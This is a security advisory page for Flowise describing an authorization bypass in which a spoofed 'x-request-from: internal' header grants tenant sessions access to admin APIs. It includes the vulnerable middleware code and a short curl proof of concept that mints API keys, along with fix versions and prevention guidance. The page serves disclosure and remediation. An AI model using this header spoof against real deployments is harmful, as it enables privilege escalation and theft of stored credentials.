Skip to content

GHSA-wvhq-wp8g-c7vq CVE-2026-30820

Flowise has Authorization Bypass via Spoofed x-request-from Header

High npm
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.50%
Chance of exploitation in the next 30 days. Higher than 42.59% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-863 Incorrect Authorization
Fix
3.0.13
Upgrade flowise to this version or later

Description

Summary

Flowise trusts any HTTP client that sets the header x-request-from: internal, allowing an authenticated tenant session to bypass all /api/v1/** authorization checks. With only a browser cookie, a low-privilege tenant can invoke internal administration endpoints (API key management, credential stores, custom function execution, etc.), effectively escalating privileges.

Details

The global middleware that guards /api/v1 routes lives in external/Flowise/packages/server/src/index.ts:214. After filtering out the whitelist, the logic short-circuits on the spoofable header:

if (isWhitelisted) {
    next();
} else if (req.headers['x-request-from'] === 'internal') {
    verifyToken(req, res, next);
} else {
    const { isValid } = await validateAPIKey(req);
    if (!isValid) return res.status(401).json({ error: 'Unauthorized Access' });
    … // owner context stitched from API key
}

Because the middle branch blindly calls verifyToken, any tenant that already has a UI session cookie is treated as an internal client simply by adding that header. No additional permission checks are performed before next() executes, so every downstream router under /api/v1 becomes reachable.

PoC

  1. Log into Flowise 3.0.8 and capture cookies (e.g., curl -c /tmp/flowise_cookies.txt … /api/v1/auth/login).
  2. Invoke an internal-only endpoint with the spoofed header:
    curl -sS -b /tmp/flowise_cookies.txt \
      -H 'Content-Type: application/json' \
      -H 'x-request-from: internal' \
      -X POST http://127.0.0.1:3100/api/v1/apikey \
      -d '{"keyName":"Bypass Demo"}'
The server returns HTTP 200 and the newly created key object.
  1. Remove the header and retry:
    curl -sS -b /tmp/flowise_cookies.txt \
      -H 'Content-Type: application/json' \
      -X POST http://127.0.0.1:3100/api/v1/apikey \
      -d '{"keyName":"Bypass Demo"}'
This yields {"error":"Unauthorized Access"}, confirming the header alone controls access.

The same spoof grants access to other privileged routes like /api/v1/credentials, /api/v1/tools, /api/v1/node-custom-function, etc.

Impact

This is an authorization bypass / privilege escalation. Any authenticated tenant (even without API keys or elevated roles) can execute internal administration APIs solely from the browser, enabling actions such as minting new API keys, harvesting stored secrets, and, when combined with other flaws (e.g., Custom Function RCE), full system compromise. All self-hosted Flowise 3.0.8 deployments that rely on the default middleware are affected.

Affected versions

npm

PackageVulnerableFixed in
flowise
< 3.0.13
3.0.13

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

flowise npm → 3.0.13

npm
npm install flowise@3.0.13
yarn
yarn add flowise@3.0.13
pnpm
pnpm add flowise@3.0.13

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-863: Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-w7x8-q2gp-5cgg
Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
Critical Also affects flowise
GHSA-9gvv-qjj3-2p6g
Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
High Also affects flowise
GHSA-qgvm-j2hm-6m38
Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service
Critical Also affects flowise
GHSA-5xvg-pmgg-3mxr
Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability
Critical Also affects flowise
GHSA-gmmw-qg98-6j6p
Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation
High Also affects flowise
GHSA-8gj2-2cvc-6xx7
Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials
Medium Also affects flowise
GHSA-fm2f-4339-4p2f
Flowise: Missing Authorization on Execution Update Endpoint
Medium Also affects flowise
GHSA-wch5-xp77-fxg4
Flowise: Cross-Workspace OAuth2 Credential Metadata Leak
High Also affects flowise
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor